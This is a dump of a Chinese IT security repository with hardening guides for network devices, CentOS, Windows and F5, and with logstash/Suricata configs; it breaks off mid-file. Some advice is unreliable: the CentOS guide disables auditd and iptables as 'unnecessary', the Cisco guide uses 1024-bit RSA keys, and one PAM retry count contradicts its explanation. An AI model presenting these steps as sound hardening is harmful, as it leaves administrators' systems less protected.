├── Config ├── brocade配置 ├── centos_security.txt ├── cisco配置 ├── dns_security.md ├── f5ssl证书不信任解决 ├── f5配置 ├── mysql_security.md ├── netscreen配置 ├── nexus配置 ├── windows_security.md └── 网络设备配置标准.md ├── Documents ├── 32-white-papers-isoiec-27002-2013.pdf ├── GBT 22080-2008 (27001)信息技术 安全技术 信息安全管理体系 要求.pdf ├── GBT 22081-2008 (27002)信息技术 安全技术 信息安全管理实用规则.pdf ├── ISO.IEC 27001_2005_CN.pdf ├── JRT 0171-2020 个人金融信息保护技术规范.pdf ├── NIST.SP.800-61r2.pdf ├── PCI_DSS_v3-1.pdf ├── PCI_DSS_v3-2.pdf ├── iso-27002-audit-sample15.pdf ├── iso27001-2013.pdf ├── 安全等保第三级基本要求.doc ├── 支付标记化技术.pdf ├── 银联卡账户信息安全管理制度.pdf ├── 附件1:银联卡支付信息安全管理标准(2018年6月修订).pdf ├── 附件2:主要修订点列表(1).pdf └── 非金融机构支付业务设施技术认证规范.pdf ├── ELK ├── install.md └── suricata_logstash.md ├── README.md ├── Suricata ├── install.md └── logstash_grok.md ├── centos_software ├── guess_table.png ├── linux_system_check.md ├── msf.txt ├── mysql小版本升级.md ├── ossec.md ├── pentester.md ├── poc_glibc.sh ├── sec-tools.txt ├── security_standard ├── sqli-labs.md ├── telnet-head.png ├── webshell1.png ├── 制度 ├── 密码管理制度 ├── 漏洞扫描制度 ├── 网络安全管理制度 └── 网络系统安全管理制度 ├── 文件一致性检查.md └── 现存安全问题 /Config/brocade配置: -------------------------------------------------------------------------------- 1 | 一、基本配置 2 | 1. dns配置 3 | 2. ntp配置 4 | tsclockserver 10.12.3.101 5 | 3. 配置空闲超时时间 6 | timeout 5 7 | 4.配置登陆和验证方式 8 | 5.配置远程管理,snmp等 9 | snmpconfig --show snmpv1 根据提示走完即可 10 | 6. 配置日志服务 11 | auditcfg --enable 开启日志 12 | auditdump -s 查看本地日志 13 | syslogdidadd x.x.x.x 14 | 二、安全配置 15 | 1. 密码长度限制 16 | passwdcfg --set -uppercase 1 -lowercase 1 -digits 1 -minlength 9 17 | 至少包括9个字符,包括大小写和数字 18 | passwdcfg --set -history 3 19 | 密码不能和上次三次密码相同 20 | passwdcfg --set -minpasswordage 1 -maxpasswordage 90 21 | 密码最少使用1天,最长使用90天 22 | passwdcfg --set -lockoutthreshold 6 -lockoutduration 5 23 | 密码失败6次之后锁定账号,5分钟后解锁 24 | 2. 设置登陆白名单 25 | 26 | 3. 创建不同角色用户 27 | 至少需要包含一个审计角色(只读权限)和一个管理员角色(用于日常运维) 28 | 4. 设置登陆提示 29 | banner motd $Notification :if you are not authorized to access,please keep out of here,otherwise we will investigate legal responsibility !$ 30 | 5.登陆限制 31 | 32 | 6. 会话限制 33 | 34 | other: 35 | 创建账号:userconfig --add username -r user -l 1,128 -c user -p ‘password’ 36 | -------------------------------------------------------------------------------- /Config/centos_security.txt: -------------------------------------------------------------------------------- 1 | ######centos6安全加固############# 2 | 首先需要更新一些软件 3 | bash 4 | openssl 5 | glic 6 | 1. 7 | 配置口令不允许重复次数和口令复杂度 8 | vim /etc/pam.d/system-auth 9 | 找到"password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok" 该行 10 | 在行后面添加 remember=3 代表不允许使用之前3次用过的密码 11 | 修改效果:password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=3 12 | 找到"password requisite pam_cracklib.so"行 13 | 修改为: 14 | password requisite pam_cracklib.so try_first_pass retry=6 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 15 | 解释:设置密码最大重试3次,并且密码中必须至少包含1个大写,1个小写,1个数字,一个特殊字符 16 | 注意:root用户不受此限制,普通用户需要用登陆后改密码才受限。 17 | 2. 18 | 禁止root登陆 19 | vim /etc/ssh/sshd_config 20 | 找到"#PermitRootLogin yes" 修改为 PermitRootLogin no 21 | 注意:修改完重启下ssh服务: 22 | service sshd restart 23 | 3. 24 | 修改口令长度和过期时间 25 | vim /etc/login.defs 26 | 修改如下内容 27 | PASS_MAX_DAYS 90 28 | PASS_MIN_DAYS 1 29 | PASS_MIN_LEN 9 30 | PASS_WARN_AGE 7 31 | 解释: 32 | # PASS_MAX_DAYS Maximum number of days a password may be used. 33 | # PASS_MIN_DAYS Minimum number of days allowed between password changes. 34 | # PASS_MIN_LEN Minimum acceptable password length. 35 | # PASS_WARN_AGE Number of days warning given before a password expires. 36 | 4. 37 | 设置连续认证失败次数,并设置失败锁定时间 38 | 修改两个文件(/etc/pam.d/system-auth和/etc/pam.d/sshd),分别在两个文件的开始位置加入 39 | auth required pam_tally2.so deny=6 unlock_time=300 even_deny_root root_unlock_time=120 40 | 解释:设置最大失败次数为6次,如果超过6次则锁定300s,root用户锁定120s 41 | 注意:如果这两个文件中有"required pam_tally2.so deny"这句的话需要删掉 42 | 5. 43 | umask 降权,设置历史命令个数 44 | 默认uid>199的 umask为002 也就是普通用户创建出来的文件权限是775 45 | uid<199的umask 为022 也就是root之类用户创建出来的权限是755 46 | 这里需要修改/etc/profile 修改为027 47 | 直接在该文件下新增一行 "umask 027" 即可. 48 | 修改HISTSIZE=10 设置最大历史命令设置为10 49 | 6. 50 | 修改ssh banner 51 | 首先创建个自定义banner文件 52 | echo "only authorized user can login" > /etc/ssh/mybanner 53 | 修改配置文件/etc/ssh/sshd_config,在其中新增"Banner /etc/ssh/mybanner" 54 | 注意:修改完重启ssh服务 55 | 7. 56 | 修改ssh访问控制 57 | 修改/etc/hosts.allow 文件,在其中加入可以访问该机器的地址 58 | 例如: 59 | sshd:10.35.0.0/255.255.0.0 #允许10.35.0.0段的所有主机访问 60 | 修改/etc/hosts.deny文件,在其中加入的机器是禁止访问的 61 | sshd:all #这里禁止所有 62 | 注意:hosts.allow文件优先 63 | 8. 64 | 设置空闲超时退出 65 | 修改/etc/profile文件,在文件底部追加 66 | TMOUT=300 #设置空闲退出时间为300s 67 | 9. 68 | su限制 69 | 修改/etc/login.defs 文件,追加"SU_WHEEL_ONLY yes" 70 | 修改/etc/pam.d/su文件,将"auth required pam_wheel.so use_uid"前面的#去掉即可 71 | 然后将要配置有su权限的用户加入到wheel组 72 | usermod -G wheel work 73 | 以后work用户执行命令需要 sudo xxx 就俱备了root的权限了 74 | 10. 75 | 取消CTRL+ALT+DELETE 76 | 修改/etc/init/control-alt-delete.conf 77 | 将如下两句话注释掉即可 78 | start on control-alt-delete 79 | exec /sbin/shutdown -r now "Control-Alt-Delete pressed" 80 | 针对centos7 81 | rm -rf /usr/lib/systemd/system/ctrl-alt-del.target 即可 82 | 83 | 84 | 11. 85 | 修改motd,用于登陆系统后的提示信息。 86 | echo "Illegal users are not allowed to login, Only authorized users can login" >/etc/motd 87 | 当用显示器连接linux主机的时候,屏幕会显示系统版本等相关信息,可以将他取消掉,将/etc/issue和/etc/issue.net改名即可 88 | 12. 89 | 禁用不用的用户和组 90 | vim /etc/passwd 91 | #adm:x:3:4:adm:/var/adm:/sbin/nologin 92 | #lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 93 | #sync:x:5:0:sync:/sbin:/bin/sync 94 | #shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 95 | #halt:x:7:0:halt:/sbin:/sbin/halt 96 | #uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 97 | #operator:x:11:0:operator:/root:/sbin/nologin 98 | #games:x:12:100:games:/usr/games:/sbin/nologin 99 | #gopher:x:13:30:gopher:/var/gopher:/sbin/nologin 100 | vim /etc/group 101 | #adm:x:4:root,adm,daemon 102 | #lp:x:7:daemon,lp 103 | #uucp:x:14:uucp 104 | #games:x:20: 105 | #dip:x:40: 106 | 13. 107 | 禁用不必要的服务 108 | chkconfig acpid off 109 | chkconfig anacron off 110 | chkconfig auditd off 111 | chkconfig avahi-daemon off 112 | chkconfig autofs off 113 | chkconfig atd off 114 | chkconfig bluetooth off 115 | chkconfig cpuspeed off 116 | chkconfig cups off 117 | chkconfig firstboot off 118 | chkconfig gpm off 119 | chkconfig haldaemon off 120 | chkconfig hidd off 121 | chkconfig ip6tables off 122 | chkconfig iptables off 123 | chkconfig lvm2-monitor off 124 | chkconfig mcstrans off 125 | chkconfig mdmonitor off 126 | chkconfig messagebus off 127 | chkconfig nfslock off 128 | chkconfig pcscd off 129 | chkconfig rawdevices off 130 | chkconfig readahead_early off 131 | chkconfig restorecond off 132 | chkconfig rpcidmapd off 133 | chkconfig sendmail off 134 | chkconfig xfs off 135 | chkconfig yum-updatesd off 136 | chkconfig NetworkManager off 137 | 14. 138 | 禁用usb对存储的挂载(只允许连键鼠等非存储设备) 139 | 在/etc/modprobe.d/blacklist.conf 里面新增 140 | blacklist usb-storage 141 | 然后命令行: modprobe -r usb-storage 142 | 取消禁用: 143 | 删除blacklist usb-storage 144 | 然后命令行: modprobe usb-storage , insmod usb-storage 145 | 146 | -------------------------------------------------------------------------------- /Config/cisco配置: -------------------------------------------------------------------------------- 1 | 一、基本配置 2 | 1. dns配置 3 | ip name-server 10.12.3.101 4 | 2. ntp配置 5 | clock timezone beijing +8 6 | ntp server x.x.x.x 7 | ntp source x/x 8 | 3. 配置空闲超时时间 9 | line vty 0 15 10 | exec-timeout 5 11 | 4.配置登陆和验证方式 12 | no ip domain-lookup 13 | password encryption aes 14 | crypto key generate rsa general-keys modulus 1024 15 | line vty 0 15 16 | transport input none 17 | transport input ssh 18 | 5.配置远程管理,snmp等 19 | snmp-server community xxxxxx ro 20 | 6. 配置日志服务 21 | logging server x.x.x.x 22 | 二、安全配置 23 | 1. 密码长度限制 24 | 至少包括8个字符,包括大小写和数字,不能是常见单词,不能有重复字符 25 | 2. 设置登陆白名单 26 | IP access list vty-acl-in 27 | 20 permit tcp 10.12.1.22/32 any eq 22 log 28 | 30 permit tcp 10.12.1.25/32 any eq 22 log 29 | line vty 0 15 30 | ip access-class vty-acl-in in 31 | 3. 创建不同角色用户 32 | 至少需要包含一个审计角色(只读权限)和一个管理员角色(用于日常运维) 33 | 4. 设置登陆提示 34 | banner motd $Notification :if you are not authorized to access,please keep out of here,otherwise we will investigate legal responsibility !$ 35 | 5.登陆限制 36 | 需要配合3A服务器 37 | 6. 会话限制 38 | line vty 39 | session-limit 2 最大同时两个ssh用户登陆 40 | 7. 关闭不必要服务 41 | 参考:http://network.51cto.com/art/201106/267266.htm 42 | no ip http-server 43 | no ip http secure-server 44 | no ip finger 45 | no service finge 46 | no cdp run 47 | no service tcp-small-servers 48 | no service udp-small-servers 49 | no ip source-route 50 | no ip identd (2960x 没有) 51 | -------------------------------------------------------------------------------- /Config/dns_security.md: -------------------------------------------------------------------------------- 1 | #DNS 2 | ##windows 3 | - 1.在域名上右击--属性--区域传送--取消勾选允许区域传送,或者配置只允许到指定服务器 4 | -------------------------------------------------------------------------------- /Config/f5ssl证书不信任解决: -------------------------------------------------------------------------------- 1 | ###############F5 2 | ssl证书部署在f5上,客户端可能会提示ssl使用的加密方法过时: 3 | "The connection is encrypted using AES_256_CBC, with SHA1 for message authentication and ECDHE_RSA as the key exchange mechanism." 4 | f5需要配置ssl 配置文件,使用如下方式: 5 | !LOW:!SSLv3:!MD5:!RC4-SHA:!DHE:!EXPORT:ECDHE+AES-GCM:ECDHE:RSA+AES:RSA+3DES 6 | 7 | -------------------------------------------------------------------------------- /Config/f5配置: -------------------------------------------------------------------------------- 1 | ##########f5配置 2 | 1.修改dns 3 | vim /etc/resolv.conf 4 | 新增nameserver x.x.x.x 即可 5 | 2. 配置时间同步 6 | 新增crontab,ntpdate x.x.x.x 即可 7 | 3. 配置口令不允许重复次数和口令复杂度 8 | 9 | password required /lib/security/$ISA/pam_cracklib.so retry=6 type=BIG-IP minlen=9 dcredit=-1 ucredit=-1 lcredit=-1 ocredit=-1 10 | password sufficient /lib/security/$ISA/pam_unix.so use_authtok sha512 shadow remember=3 min_days=0 max_days=90 warn_age=7 11 | 12 | 4. 设置连续认证失败次数,并设置失败锁定时间 13 | 修改两个文件(/etc/pam.d/system-auth和/etc/pam.d/sshd),分别在两个文件的开始位置加入 14 | auth required pam_tally2.so deny=6 unlock_time=300 even_deny_root root_unlock_time=120 15 | 解释:设置最大失败次数为6次,如果超过6次则锁定300s,root用户锁定120s 16 | 注意:如果这两个文件中有"required pam_tally2.so deny"这句的话需要删掉 17 | 5. 修改口令长度和过期时间 18 | vim /etc/login.defs 19 | 修改如下内容 20 | PASS_MAX_DAYS 90 21 | PASS_MIN_DAYS 1 22 | PASS_MIN_LEN 9 23 | PASS_WARN_AGE 7 24 | 25 | 6. 设置空闲超时退出 26 | 修改/etc/profile文件,在文件底部追加 27 | TMOUT=300 #设置空闲退出时间为300s 28 | 29 | 7. 修改ssh访问控制 30 | 修改/etc/hosts.allow 文件,在其中加入可以访问该机器的地址 31 | 例如: 32 | sshd:10.35.0.0/255.255.0.0 #允许10.35.0.0段的所有主机访问 33 | 修改/etc/hosts.deny文件,在其中加入的机器是禁止访问的 34 | sshd:all #这里禁止所有 35 | 注意:hosts.allow文件优先 36 | ####################################################### 37 | 38 | 注意:以上密码和访问控制相关只在ssh下生效,web界面需要另行配置 39 | 1. 配置密码复杂度 40 | systems--users--authentication 41 | Secure Password Enforcement 选择 enable 42 | Minimum Length 43 | 9 44 | characters 45 | Required Characters 46 | Numeric: 47 | 1 48 | Uppercase: 49 | 1 50 | Lowercase: 51 | 1 52 | Other: 53 | 1 54 | Minimum Duration 55 | 0 days 56 | Maximum Duration 57 | 90 days 58 | Expiration Warning 59 | 7 days 60 | Maximum Login Failures 61 | 6 62 | 63 | 2. 配置空闲超时 64 | system -- preferences -- 65 | Idle Time Before Automatic Logout 66 | 300 seconds 67 | 3. 配置登陆提示 68 | Security Banner Text To Show On The Login Screen 69 | Illegal users are not allowed to login, Only authorized users can login 70 | ######################### 71 | iruls 写法要求: 72 | 所有条件最后一定要加上一个else 指向默认的pool,否则会出现iruls匹配不上任何pool的问题,目前看到的现象是如果匹配了iruls之后,新来的请求如果没有匹配,会导致f5把请求发送给上次匹配的pool 73 | -------------------------------------------------------------------------------- /Config/mysql_security.md: -------------------------------------------------------------------------------- 1 | #mysql 2 | ##安全思路 3 | 4 | ##安全配置 5 | 1. 禁用本地文件加载 6 | - 修改my.cnf 文件,在[mysqld] 范围内新增"local-infile=0",重启mysql即可 7 | - 注意,在5.5以后的版本中即便新增了"local-infile=0"选项,也无法加载本地文件,需要客户端同时支持才行 8 | - 参考"http://www.tbk.ren/article/223.html" "http://stackoverflow.com/questions/10762239/mysql-enable-load-data-local-infile" 9 | 2. 10 | -------------------------------------------------------------------------------- /Config/netscreen配置: -------------------------------------------------------------------------------- 1 | 一、基本配置 2 | 1. dns配置 3 | set dns host dns1 10.12.3.101 src-interface ethernet1/3.13 4 | set dns host dns2 8.8.8.8 src-interface ethernet1/3.10 5 | 2. ntp配置 6 | set clock ntp 7 | set clock timezone 7 8 | set ntp server x.x.x.x 9 | 10 | set ntp interval 5 11 | 3. 配置空闲超时时间 12 | set config lock timeout 5 13 | set admin auth web timeout 5 14 | 4.配置登陆和验证方式 15 | set ssh version v2 16 | set ssh enable 17 | set admin http redirect 18 | set admin auth server "Local" 19 | 5.配置远程管理,snmp等 20 | set interface ethernet/x/x ip manageable 21 | set interface ethernetx/x manage ping 22 | set interface ethernetx/x manage ssh 23 | set interface ethernetx/x manage snmp 24 | set interface ethernetx/x manage ssl 25 | set interface ethernetx/x manage web 26 | 注:外网口不配置snmp 27 | 6. 配置日志服务 28 | 29 | 二、安全配置 30 | 1. 密码长度限制 31 | set password-policy user-type auth minimum-length 9 32 | 注:netscreen系列无法进行其他密码复杂度限制 33 | 2. 设置登陆白名单 34 | 创建策略只允许从指定ip进行内网管理,外网暂时不限制,但需要对外网登陆进行审计 35 | 3. 创建不同角色用户 36 | 至少需要包含一个审计角色(只读权限)和一个管理员角色(用于日常运维) 37 | 4. 设置登陆提示 38 | set admin auth banner secondary "Notification :if you are not authorized to access,please keep out of here,otherwise we will investigate legal responsibility !" 39 | set admin auth banner console login "Notification :if you are not authorized to access,please keep out of here,otherwise we will investigate legal responsibility !" 40 | 5.登陆限制 41 | set admin access attempts 6 密码错误最多6次 42 | set admin access lock-on-failure 5 错误超过6次锁定5分钟 43 | 44 | -------------------------------------------------------------------------------- /Config/nexus配置: -------------------------------------------------------------------------------- 1 | 一、基本配置 2 | 1. dns配置 3 | ip name-server x.x.x.x 4 | ip name-server x.x.x.x use-vrf management 5 | 2. ntp配置 6 | ntp server x.x.x.x prefer 7 | no feature ntp 8 | 3. 配置空闲超时时间 9 | line vty 0 15 10 | exec-timeout 5 11 | 4.配置登陆和验证方式 12 | feature ssh 13 | no feature telnet 14 | 5.配置远程管理,snmp等 15 | snmp-server community xxxxxx ro 16 | 6. 配置日志服务 17 | logging server x.x.x.x 18 | logging event link-status enable 19 | logging event trunk-status enable 20 | 二、安全配置 21 | 1. 密码长度限制 22 | password strength-check 23 | 至少包括8个字符,包括大小写和数字,不能是常见单词,不能有重复字符 24 | 2. 设置登陆白名单 25 | IP access list vty-acl-in 26 | 20 permit tcp 10.12.1.22/32 any eq 22 log 27 | 30 permit tcp 10.12.1.25/32 any eq 22 log 28 | line vty 29 | ip access-class vty-acl-in in 30 | 3. 创建不同角色用户 31 | 至少需要包含一个审计角色(只读权限)和一个管理员角色(用于日常运维) 32 | 4. 设置登陆提示 33 | banner motd $Notification :if you are not authorized to access,please keep out 34 | 5.登陆限制 35 | 需要配合3A服务器 36 | 6. 会话限制 37 | line vty 38 | session-limit 2 最大同时两个ssh用户登陆 39 | 40 | -------------------------------------------------------------------------------- /Config/windows_security.md: -------------------------------------------------------------------------------- 1 | #windows安全加固 2 | ##1. 3 | - 配置自动更新(安全和关键补丁一定要打) 4 | 5 | ###win2k3: 6 | 7 | - 首先开启Automatic Updates 服务 8 | - 然后修改组策略,计算机配置--管理模板--windows组件--windows update 9 | - 启用配置自动更新,模式选择“3-自动下载并通知安装”,计划安装日期“0-每天”,计划安装时间“03:00” 10 | - 启用指定intranet 更新服务位置,为检测更新设置Intranet更新服务:“http://x.x.x.x”,设置Intranet统计服务器“http://x.x.x.x” 11 | - 启用自动更新检测频率,间隔检查更新配置为“22小时” 12 | - 然后在命令提示符输入:gpupdate /force 执行完毕之后执行 wuauclt.exe /detectnow 13 | 14 | ###win2k8: 15 | 16 | - 首先开启windows update 服务 17 | - 然后修改组策略,计算机配置--管理模板--windows组件--windows update 18 | - 然后配置自动更新,模式选择“3-自动下载并通知安装”,计划安装日期“0-每天”,计划安装时间“03:00” 19 | - 启用指定intranet 更新服务位置,为检测更新设置Intranet更新服务:“http://x.x.x.x”,设置Intranet统计服务器“http://x.x.x.x” 20 | - 启用自动更新检测频率,间隔检查更新配置为“22小时” 21 | - 然后在命令提示符输入:gpupdate /force 执行完毕之后执行 wuauclt.exe /detectnow 22 | 23 | ##2. 24 | 25 | - 配置口令不允许重复次数和口令复杂度 26 | - 组策略--本地计算机策略--计算机配置--windows设置--账户策略--密码策略 27 | - 启用密码必须符合复杂性要求 28 | - 密码长度最小值设置8个字符 29 | - 密码最长使用期限90天 30 | - 密码最短使用期限0天 31 | - 强制密码历史设置3个 32 | 33 | ##3. 34 | 35 | - 设置自动退出和密码锁定等 36 | - 在账户策略--账户锁定策略 37 | - 复位账户锁定计数器设置5分钟 解释:在锁定前取消计时器的时间, 38 | - 账户锁定时间设置5分钟 39 | - 账户锁定阈值设置6次 40 | - 设置远程登陆超过5分钟无操作自动退出 41 | - 计算机配置--windows设置--安全设置--本地策略---安全选项 42 | - Microsoft 网络服务器:在挂起会话之前所需的空闲时间设置为5分钟 43 | - 设置本地超过5分钟自动进入屏保并要求输入密码登陆系统 44 | - 右击桌面--属性--屏幕保护程序--选择等待5分钟,勾选在恢复时使用密码保护 45 | - 关闭自动播放--组策略--计算机配置--管理模板--系统--启用关闭自动播放:所有驱动器 46 | - 关闭可移动设备远程访问--组策略--计算机配置--windows设置--安全设置--本地策略--安全选项--启用--设备:只有本地登陆的用户才能访问cd-rom 和--设备:只有本地登陆的用户才能访问软盘 47 | - 开启审核--组策略--计算机配置--windows设置--安全设置--审核策略--审核策略更改“成功,失败”,审核登陆事件“成功,失败”,审核账户登陆时间“成功,失败”,审核账户管理“成功,失败” 48 | - 更改默认administrator 账户 --组策略--计算机配置--windows设置--安全设置--本地策略--安全选项--账户:重命名系统管理员账户(ehomeadmin) 49 | - 禁用USB设备 计算机配置---管理模板---系统---设备安装---设备安装限止项:禁止安装可移动设备 50 | ##4. 51 | 52 | 关闭服务 53 | - server服务 54 | - workstation服务 55 | - remote registry service 服务 56 | - print spooler 服务 57 | 58 | 59 | -------------------------------------------------------------------------------- /Config/网络设备配置标准.md: -------------------------------------------------------------------------------- 1 | #################### 2 | ##一、基本配置 3 | - 1. 配置dns 10.12.3.101 4 | - 2. 配置ntp 10.12.3.101 5 | - 3. 配置日志服务 6 | - 4. 配置超时退出 空闲5分钟超时退出 7 | - 5. 配置密码复杂度 至少包含大小写、数字、特殊字符的三种(参考密码管理制度) 8 | - 6. 配置登陆提示 9 | Notification :if you are not authorized to access,please keep out of here,otherwise we will investigate legal responsibility ! 10 | - 7. 配置登陆白名单 只允许堡垒机和运维主机进行登陆 11 | - 8. 命名规范 12 | ip地址命名: 10.12.4.13/32 10.12.4.0/24 13 | service命名: tcp_80 , udp_161 tcp_80-85 14 | 15 | -------------------------------------------------------------------------------- /Documents/32-white-papers-isoiec-27002-2013.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/32-white-papers-isoiec-27002-2013.pdf -------------------------------------------------------------------------------- /Documents/GBT 22080-2008 (27001)信息技术 安全技术 信息安全管理体系 要求.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/GBT 22080-2008 (27001)信息技术 安全技术 信息安全管理体系 要求.pdf -------------------------------------------------------------------------------- /Documents/GBT 22081-2008 (27002)信息技术 安全技术 信息安全管理实用规则.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/GBT 22081-2008 (27002)信息技术 安全技术 信息安全管理实用规则.pdf -------------------------------------------------------------------------------- /Documents/ISO.IEC 27001_2005_CN.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/ISO.IEC 27001_2005_CN.pdf -------------------------------------------------------------------------------- /Documents/JRT 0171-2020 个人金融信息保护技术规范.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/JRT 0171-2020 个人金融信息保护技术规范.pdf -------------------------------------------------------------------------------- /Documents/NIST.SP.800-61r2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/NIST.SP.800-61r2.pdf -------------------------------------------------------------------------------- /Documents/PCI_DSS_v3-1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/PCI_DSS_v3-1.pdf -------------------------------------------------------------------------------- /Documents/PCI_DSS_v3-2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/PCI_DSS_v3-2.pdf -------------------------------------------------------------------------------- /Documents/iso-27002-audit-sample15.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/iso-27002-audit-sample15.pdf -------------------------------------------------------------------------------- /Documents/iso27001-2013.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/iso27001-2013.pdf -------------------------------------------------------------------------------- /Documents/安全等保第三级基本要求.doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/安全等保第三级基本要求.doc -------------------------------------------------------------------------------- /Documents/支付标记化技术.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/支付标记化技术.pdf -------------------------------------------------------------------------------- /Documents/银联卡账户信息安全管理制度.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/银联卡账户信息安全管理制度.pdf -------------------------------------------------------------------------------- /Documents/附件1:银联卡支付信息安全管理标准(2018年6月修订).pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/附件1:银联卡支付信息安全管理标准(2018年6月修订).pdf -------------------------------------------------------------------------------- /Documents/附件2:主要修订点列表(1).pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/附件2:主要修订点列表(1).pdf -------------------------------------------------------------------------------- /Documents/非金融机构支付业务设施技术认证规范.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Documents/非金融机构支付业务设施技术认证规范.pdf -------------------------------------------------------------------------------- /ELK/install.md: -------------------------------------------------------------------------------- 1 | 参考:http://peiqiang.net/2016/01/20/how-to-install-elk.html 2 | http://www.open-open.com/lib/view/open1451801542042.html 3 | http://www.cnblogs.com/java-zhao/p/5902909.html 4 | 1. 首先安装jre 5 | 2. 下载elas,logstash,kibana的rpm安装包 6 | 3. 安装elas 7 | 使用相关:https://my.oschina.net/u/1246838/blog/353089 8 | rpm安装即可,后面根据提示添加服务 9 | 安装插件: 10 | /usr/share/elasticsearch/bin/plugin install mobz/elasticsearch-head 11 | /usr/share/elasticsearch/bin/plugin install lmenezes/elasticsearch-kopf 12 | 启动elasticsearch注意配置日志和数据文件的目录,一定要给elasticsearch用户写权限 13 | 4. 安装logstash 14 | rpm安装即可,logstash.conf文件需要自己创建 15 | 5. kibana 16 | 解压源码然后运行即可 17 | -------------------------------------------------------------------------------- /ELK/suricata_logstash.md: -------------------------------------------------------------------------------- 1 | ##logstash_agent 2 | input { 3 | file { 4 | type => "ids-alert" 5 | path => "/var/log/suricata/fast.log" 6 | } 7 | file { 8 | type => "ids-http_access" 9 | path => "/var/log/suricata/http.log" 10 | } 11 | } 12 | 13 | 14 | output { 15 | if [type] == "ids-alert" { 16 | redis{ 17 | data_type => "list" 18 | key => "ids-alert" 19 | host => "127.0.0.1" 20 | db => "1" 21 | } 22 | } 23 | if [type] == "ids-http_access" { 24 | redis{ 25 | data_type => "list" 26 | key => "ids-http_access" 27 | host => "127.0.0.1" 28 | db => "1" 29 | } 30 | } 31 | } 32 | 33 | 34 | 35 | 36 | 37 | ##logstash_indexer 38 | 39 | input { 40 | redis { 41 | host => "127.0.0.1" 42 | data_type => "list" 43 | key => "ids-http_access" 44 | type => "ids-http_access" 45 | } 46 | redis { 47 | host => "127.0.0.1" 48 | data_type => "list" 49 | key => "ids-alert" 50 | type => "ids-alert" 51 | } 52 | } 53 | filter { 54 | if [type] == "ids-alert" { 55 | grok{ 56 | match => ['message','\]\s\[\d+\:\d+\:\d+\]\s%{GREEDYDATA:attack_summary}\s\[\*\*\]\s\[Classification: %{GREEDYDATA:attack_info}\s\[Priority:\s%{WORD:priority}\] \{%{WORD:protocol_type}\} %{IP:source_ip}:%{WORD:source_port} -> %{IP:dest_ip}:%{WORD:dest_port}'] 57 | } 58 | } 59 | if [type] == "ids-http_access" { 60 | grok{ 61 | match => ['message','%{URIPATHPARAM:request} \[\*\*\] %{GREEDYDATA:user_agent} \[\*\*\] %{GREEDYDATA:referer} \[\*\*\] %{WORD:method} \[\*\*\] %{GREEDYDATA} \[\*\*\] %{GREEDYDATA:http_status} \[\*\*\] %{INT:length} bytes \[\*\*\] %{IP:source_ip}:%{WORD:source_port} -> %{IP:dest_ip}:%{WORD:dest_port}'] 62 | } 63 | } 64 | } 65 | 66 | 67 | output { 68 | if [type] == "ids-alert" { 69 | elasticsearch{ 70 | hosts => ["localhost:9200"] 71 | index => "ids-alert-%{+YYYY.MM.dd}" 72 | } 73 | } 74 | if [type] == "ids-http_access" { 75 | elasticsearch{ 76 | hosts => ["localhost:9200"] 77 | index => "ids-http_access-%{+YYYY.MM.dd}" 78 | } 79 | } 80 | file { 81 | path => "/var/log/logela.log" 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IT_security 2 | ##业内信息安全标准 3 | -------------------------------------------------------------------------------- /Suricata/install.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/Suricata/install.md -------------------------------------------------------------------------------- /Suricata/logstash_grok.md: -------------------------------------------------------------------------------- 1 | - 匹配alert日志: 2 | match => ['message','\]\s\[\d+\:\d+\:\d+\]\s%{GREEDYDATA:attack_summary}\s\[\*\*\]\s\[Classification: %{GREEDYDATA:attack_info}\s\[Priority:\s%{WORD:priority}\] \{%{WORD:protocol_type}\} %{IP:source_ip}:%{WORD:source_port} -> %{IP:dest_ip}:%{WORD:dest_port}'] 3 | match => 